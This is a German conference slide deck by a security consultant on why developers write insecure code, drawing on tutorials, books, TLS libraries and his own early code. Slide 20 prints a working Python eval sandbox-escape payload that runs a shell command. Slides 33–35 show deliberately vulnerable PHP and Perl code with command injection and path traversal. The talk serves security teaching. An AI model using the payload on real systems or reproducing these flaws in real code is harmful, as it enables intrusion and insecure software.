Sicherheitsprobleme verfolgen uns bereits seit vielen Jahren. Warum existieren immer noch unsichere Programme? Wieso scheitern Informatiker an der korrekten Programmierung? Warum passieren immer wieder dieselben Fehler? Der Vortrag dreht sich insbesondere um verschiedene Informationsquellen, deren Problematik und konkrete, technische Beispiele. Referent: Tobias Ospelt

1. Wieso Informatiker bei der
Informationssicherheit scheitern

2. Ein Erklärungsversuch für die Realität
• Bitte keine Gegenstände werfen

3. RAHMENBEDINGUNGEN

4. Management
• Geld / Zeit
• Sicherheitsschulungen
• Zu viele/wenige/generelle
Sicherheitsrichtlinien
• Outsourcing

5. Programmierung
Unsicherer
Code
Fehler
Nicht
funktionsfähiger
Code

6. „Hacking ist nicht real“
• Hacking-Agnostiker gibt es tatsächlich noch
• Statistiken
• Medien
– Jailbreak
– Anonymous
• Verborgenheit
– Argument der Eintretenswahrscheinlichkeit
– Dunkelziffer

7. Komplexität
• Abstraktion ist König
• Fehler: Erwarten valide Inputs

8. ONLINE
Informationsquelle

9. Why it’s easy being a hacker [1]

10. Why it’s easy being a hacker [1]
• Google „How to use PHP with MySQL“
• Min. 5 von 10 SQL Injection

11. Datei-Upload
• Google „How to do a file upload in PHP“
• Min. Sicherheitskriterien
– Dateiendung überprüfen
– MIME-type überprüfen
– Nicht in Web Root ablegen
– Keine Manipulation des Speicherorts
• 6 von 10 unsicher

12. Datei-Upload
• Web Root, keine Checks (Security
Warnung)
• Web Root, keine Checks
• Web Root, keine Checks, chmod 777, XSS
• Web Root, kein MIME-Check, XSS
• Irrelevant
• Video
• Keine Checks, XSS
• Web Root, keine Checks, SQL Injection,
Manipulation Speicherort
• Web Root, keine Checks, chmod 777,
Manipulation Speicherort
• Web Root, keine Checks, Manipulation
Speicherort

13. Wikipedia

14. BÜCHER
Dann eben doch die Informationsquelle

15. Why it’s easy being a hacker [1]
• 3 von 6 SQL Injection

16. Programming Python S. 18
• "[…] eval call […] is potentially unsafe; you
shouldn't use eval if you can't be sure [...]
won't contain malicious code […]"
• Ähnlich auf Seite 49

17. Programming Python S. 38/39
• eval(benutzereingabe)
• Demo 1

18. Programming Python Autor
• "eval() reflects a classic tradeoff between
security and power. In an early book example,
security seems a minor topic, and perhaps less
important to illustrate than language power."

19. Die Suche nach dem sicheren eval
• Google „python safe eval“
– eval(benutzereingabe,{"__builtins__":None},{})
– Demo 2

20. Exploit
[x for x in (1).__class__.__base__.__subclasses__() if
x.__name__ ==
'Pattern'][0].__init__.__globals__['__builtins__']['__impo
rt__']('os').system('cd /; python -m SimpleHTTPServer')

21. PROGRAMMIER-BIBLIOTHEKEN
Oder Hilfsmittel

22. OpenSSL [2]
• Rückgabewert von SSL_connect
– Kann OK (1) zurückgeben
• Setzt intern aber "verify result" flags
• SSL_get_ verify_result nötig
• Opfer
– Trillian

23. GnuTLS [2]
• Rückgabewert von
gnutls_certificate_verify_peers2(tls_status)
– Kann OK (0) zurückgeben
• tls_status enthält jedoch Fehler Code
• Opfer
– Lynx Browser

24. cURL [2]
• CURLOPT_SSL_VERIFYPEER
– Richtig: True
• CURLOPT_SSL_VERIFYHOST
– Richtig: 2
• Opfer
– Amazon Flexible Payments Service SDK für PHP
– PayPal Payments Standard
– PayPal Invoicing für PHP
– PayPal IPN in ZenCart

25. Java Secure Socket Extension (JSSE) [2]
• Grundsätzlich keine Hostnamenüberprüfung für
SSLSocketFactory
– Java 6  Exception wenn Protokoll unklar (HTTPS/LDAPS)
– Java 7  Keine Exception
• Opfer
– Apache HttpClient Version 3
• Weberknecht
• Apache Axis
– PayPal’s Java SDKs
• Apache Axis 2
• Codehaus XFire <= 1.2.6
– Amazon EC2 API Tools
– Amazon Flexible Payments Service
• ...

26. SAML-Frameworks [3]
• 11 von 14 enthielten Schwachstellen
• Beispiel Opfer:
– OpenSAML
• Shibboleth
– SuisseID

27. HERSTELLERDOKUMENTATIONEN
Aber wenigstens

28. Nochmal SSL [2]
• Apache XFire  Apache CXF

29. Apple Idiotenvektor [4]
• InitialisierungsVektor (IV)
• 1 von 2 Programmierbüchern

30. Letzthin im #python IRC-Chat
• Unterschied von input() in Python2 und
Python3
• "the fact that we didn't remove input() from
python2 a long time ago is crazy.“

31. DEP, ASLR und Konsorten
• Müssen aktiviert werden
• 2 unabhängige Buffer Overflows
– Auf 3 von 4 Plattformen à la 1995

32. PROGRAMMIERUNG GEHT AUCH
OHNE SECURITY
Leider,

33. Referent – meine erste Homepage
• Passwörter im Klartext
<form name="gbook" method="post" action="<?php echo
$_SERVER['PHP_SELF']; ?>">

34. Kryptografischer Horror
Passwort MD5 Resultat: MD5 HASH von Passwort
CRC32 Resultat: CRC32 vom MD5 Hash
SHA1
Resultat: SHA1 Hash von CRC32
substr($input, 0, 3) substr($input, 4)
$cryptedpw = $part2 + $part1 + $part2
Beispiel:
"00FE" + "12AB" = "12"
Richtig wäre:
"00FE" . "12AB" = "00FE12AB"
CRC32 Resultat: CRC32

35. Web Server Horror
#!/usr/bin/perl -w
use strict 'vars'; use strict 'subs'; use CGI ':standard’;
use CGI::Carp qw(fatalsToBrowser);
use constant DOWNLOAD_DIR => q{/tmp/path/};
my $B = param('B');
$B =~ s/^/+//g;
my $filen = DOWNLOAD_DIR . "/" . $B;
my $basename = `basename $B`;
my $size = (stat($filen))[7];
open(DLFILE, "<$filen") or Error("Kann $B nicht
oeffnen.");
if($B =~ /.sik$/o) {} else { unlink($filen);}
my $filedata = do { local $/; <DLFILE> };
print "Content-Length: $sizen";
print $filedata;
exit 0;

36. FAZIT
Und jetzt?

37. Gegenmassnahmen
• KISS
• Kein blindes kopieren unabhängig von Quelle
– Verstand/Sicherheitssicht/Kollegen nutzen
• Sicherheitsmechanismen an lassen
• Sicherheitsmechanismen an machen
• Sicherheitsthemen zur Arbeit suchen
• Schulungen
– Awareness
– Eigene Security-Tests, richtige Hilfsmittel
– Secure Development
• Penetration Testing

38. int 3
• Twitter: @floyd_ch
• tobias@modzero.ch
• Twitter: @mod0
• http://www.modzero.ch

39. Quellen
• [Pointing finger picture] http://www.workingkansans.com/2012/03/house-
republicans-pointing-fingers-after-failing-to-read-2-page-bill/
• [bobby tables] http://xkcd.com/327/
• [APT1] http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf
• [Suspicious owl] http://www.troll.me/2012/03/01/a-suspicious-owl/everythings-
just-fine-thats-suspicious/
• [Skimasken-Hacker] http://best9.wordpress.com/2011/01/16/top-10-hackers/
• [Not funny when you‘re next] http://thepowerofapostrophe.blogspot.no/
• [Executing 41414141] http://nickfnord.wordpress.com/2008/10/17/buffer-
overflow-basics-part-1/
• [1] http://www.securesolutions.no/why-its-easy-being-a-hacker/
• [2] https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html
• [3] http://www.nds.rub.de/research/publications/BreakingSAML/
• [4]
http://www.modzero.ch/modlog/archives/2011/11/04/the_apple_idioten_vektor
_iv/index.html
• [5] http://www.opensource.apple.com/source/CommonCrypto/CommonCrypto-
36064/CommonCrypto/CommonCryptor.h